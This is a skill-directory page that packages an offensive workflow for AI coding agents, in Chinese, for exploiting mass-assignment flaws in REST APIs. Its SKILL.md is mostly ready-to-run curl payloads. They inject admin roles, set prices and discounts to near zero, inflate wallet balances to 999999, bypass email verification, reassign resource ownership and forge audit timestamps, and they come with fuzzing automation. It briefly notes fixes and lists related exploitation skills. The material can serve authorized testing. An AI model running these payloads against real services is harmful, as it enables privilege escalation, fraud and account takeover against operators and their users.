exploiting-mass-assignment-in-rest-apis
发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。
Best use case
exploiting-mass-assignment-in-rest-apis is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。
Teams using exploiting-mass-assignment-in-rest-apis should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-mass-assignment-in-rest-apis/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-mass-assignment-in-rest-apis Compares
| Feature / Agent | exploiting-mass-assignment-in-rest-apis | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
发现并利用 REST API 中的批量赋值漏洞,通过在 API 请求中注入意外参数来提升权限、修改受限字段并绕过授权控制。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用 REST API 中的批量赋值漏洞(Exploiting Mass Assignment in REST APIs)
## 适用场景
- 测试接受 JSON 输入用于创建或更新资源的 REST API 时
- 在使用 ORM 框架(Rails、Django、Laravel、Spring)的应用程序 API 安全评估期间
- 测试用户注册、个人资料更新或账户管理端点时
- 在具有 CRUD API 操作的应用程序漏洞奖励计划中
- 评估 API 驱动应用程序中基于角色的访问控制实现时
## 前置条件
- 用于 API 请求构建和拦截的 Burp Suite 或 Postman
- 了解常见框架中的 ORM 自动绑定行为
- 通过侦察获取 API 文档或端点发现
- 具有不同权限级别的多个用户账户用于测试
- 了解常见敏感字段(role、isAdmin、verified、balance、price)
- 用于隐藏参数发现的 Arjun 或 param-miner
## 工作流程
### 步骤 1:发现 API 结构和字段
```bash
# 检查 API 响应以识别所有对象字段
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# 响应揭示字段:id、username、email、role、isAdmin、verified、balance
# 检查 API 文档中暴露的模式
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml
# 使用 Arjun 发现隐藏参数
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"
# 比较创建/更新请求体与响应体
# 响应可能包含比请求发送更多的字段
# 这些额外字段是批量赋值候选者
```
### 步骤 2:通过角色字段测试权限提升
```bash
# 在个人资料更新中注入角色/管理员字段
curl -X PUT http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"testuser","email":"test@test.com","role":"admin"}'
# 尝试常见管理员字段名
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"isAdmin":true}'
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'
# 在注册期间测试
curl -X POST http://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
```
### 步骤 3:测试财务和业务逻辑字段
```bash
# 修改价格或余额字段
curl -X POST http://target.com/api/orders \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id":1,"quantity":1,"price":0.01}'
# 修改账户余额
curl -X PATCH http://target.com/api/wallet \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"balance":999999}'
# 修改折扣或优惠券字段
curl -X POST http://target.com/api/checkout \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'
# 修改订阅级别
curl -X PATCH http://target.com/api/subscription \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan":"enterprise","price":0}'
```
### 步骤 4:测试验证和状态字段
```bash
# 绕过电子邮件验证
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email_verified":true,"verified":true,"active":true}'
# 修改账户状态
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"status":"active","banned":false,"suspended":false}'
# 修改所有权/组织
curl -X PATCH http://target.com/api/users/me \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
```
### 步骤 5:测试关系和外键操纵
```bash
# 更改资源所有权
curl -X PATCH http://target.com/api/documents/123 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"owner_id":"admin-user-id"}'
# 分配到不同组/团队
curl -X PATCH http://target.com/api/projects/456 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"team_id":"privileged-team","access_level":"write"}'
# 修改 created_at/updated_at 以操纵审计日志
curl -X PATCH http://target.com/api/entries/789 \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
```
### 步骤 6:自动化批量赋值测试
```bash
# 使用 Burp Intruder 配合字段名字典
# 常见批量赋值字段字典:
# role、admin、isAdmin、is_admin、user_type、privilege、level
# verified、email_verified、active、banned、suspended
# balance、credits、price、discount、plan、tier
# owner_id、organization_id、team_id、group_id
# Python 自动化脚本
python3 mass_assignment_tester.py \
--url http://target.com/api/users/me \
--method PATCH \
--token "Bearer USER_TOKEN" \
--fields-file mass_assignment_fields.txt
# Nuclei 批量赋值模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 批量赋值(Mass Assignment) | ORM 将请求参数自动绑定到模型属性而不加限制 |
| 自动绑定(Autobinding) | 将 HTTP 参数直接映射到对象属性的框架功能 |
| 允许列表(Allowlist) | 用于更新操作的服务器端允许字段列表(Rails 中的 strong_parameters) |
| 拒绝列表(Denylist) | 禁止字段列表(不如允许列表方法安全) |
| 隐藏字段(Hidden Fields) | 服务器管理的字段(role、balance),不在表单中显示但被 API 接受 |
| DTO(数据传输对象)| 使用单独对象分离输入和数据库以防止批量赋值的模式 |
| 参数污染(Parameter Pollution) | 在合法参数旁边发送意外的额外参数 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| Burp Suite | API 请求拦截和参数注入 |
| Postman | API 测试和基于集合的批量赋值测试 |
| Arjun | API 端点的隐藏参数发现工具 |
| param-miner | 用于发现隐藏参数的 Burp 扩展 |
| OWASP ZAP | 带参数注入的自动化 API 扫描 |
| swagger-codegen | 从 OpenAPI 规范生成用于测试的 API 客户端 |
## 常见场景
1. **管理员权限提升** — 在个人资料更新中注入 `"role":"admin"` 或 `"isAdmin":true` 以获取管理员访问权限
2. **价格操纵** — 在订单创建端点中修改 `price` 或 `discount` 字段以较低价格购买商品
3. **电子邮件验证绕过** — 在注册或个人资料更新期间设置 `email_verified:true` 以绕过验证要求
4. **账户接管** — 将 `email` 或 `phone` 字段修改为攻击者控制的值,然后触发密码重置
5. **订阅升级** — 在订阅更新中注入 `plan:"enterprise"` 以无需付款获取高级功能
## 输出格式
```
## 批量赋值漏洞报告
- **目标**: http://target.com/api/users/me
- **方法**: PATCH
- **框架**: Ruby on Rails(通过 X-Powered-By 检测)
### 发现
| # | 端点 | 注入字段 | 原始值 | 修改值 | 影响 |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | 权限提升 |
| 2 | POST /api/orders | price | 99.99 | 0.01 | 财务损失 |
| 3 | PATCH /api/users/me | email_verified | false | true | 验证绕过 |
### 修复建议
- 为所有模型更新操作实施允许列表(strong_parameters)
- 使用 DTO/ViewModel 将 API 输入与数据库模型解耦
- 对敏感属性应用字段级授权检查
- 记录并警报尝试修改受限字段的行为
```Related Skills
testing-api-for-mass-assignment-vulnerability
测试 API 是否存在批量赋值(mass assignment,自动绑定)漏洞——攻击者可在 API 请求中附加额外参数,从而修改本不应被访问的对象属性。测试人员识别可写端点,向请求体注入未公开字段(role、isAdmin、price、balance),验证服务器是否在未过滤的情况下将这些字段绑定到数据模型。属于 OWASP API3:2023 Broken Object Property Level Authorization 范畴。适用于批量赋值测试、参数绑定滥用、自动绑定漏洞或 API 过度发布(over-posting)相关请求。
performing-api-fuzzing-with-restler
使用 Microsoft RESTler 执行有状态 REST API 模糊测试(Fuzzing),通过自动生成并执行测试序列来 覆盖 API 端点,发现请求间的生产者-消费者依赖关系,并找出安全性和可靠性缺陷。 测试人员将 OpenAPI 规范编译为 RESTler 模糊测试语法,配置认证,运行 test/fuzz-lean/fuzz 模式,并分析结果以发现 500 错误、认证绕过、资源泄漏和载荷注入漏洞。 当请求涉及 API 模糊测试、RESTler 测试、有状态 API 测试或自动化 API 安全扫描时触发。
performing-active-directory-forest-trust-attack
使用 impacket 枚举和审计 Active Directory 林信任关系,进行 SID 过滤分析、信任密钥提取、跨林 SID 历史滥用检测和跨域 Kerberos 票据评估。
implementing-immutable-backup-with-restic
使用 restic 与 S3 兼容存储及对象锁定实施不可变备份策略,提供抗勒索软件的 数据保护。自动化备份创建、通过 restic check --read-data 进行完整性验证、 快照保留策略执行和还原测试。与 AWS S3 Object Lock、MinIO 和 Backblaze B2 集成,提供防止勒索软件删除或加密备份的 WORM(一次写入多次读取)存储。
implementing-aes-encryption-for-data-at-rest
AES(高级加密标准)是由 NIST(FIPS 197)标准化的对称分组密码,用于保护机密和敏感数据。本技能涵盖在 GCM 模式下实现 AES-256 加密,用于加密静态文件和数据存储,包括正确的密钥派生、IV/nonce 管理和认证加密。
exploiting-zerologon-vulnerability-cve-2020-1472
利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。
exploiting-websocket-vulnerabilities
在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。
exploiting-vulnerabilities-with-metasploit-framework
Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块
exploiting-type-juggling-vulnerabilities
利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。
exploiting-template-injection-vulnerabilities
检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。
exploiting-sql-injection-with-sqlmap
在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。
exploiting-sql-injection-vulnerabilities
在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。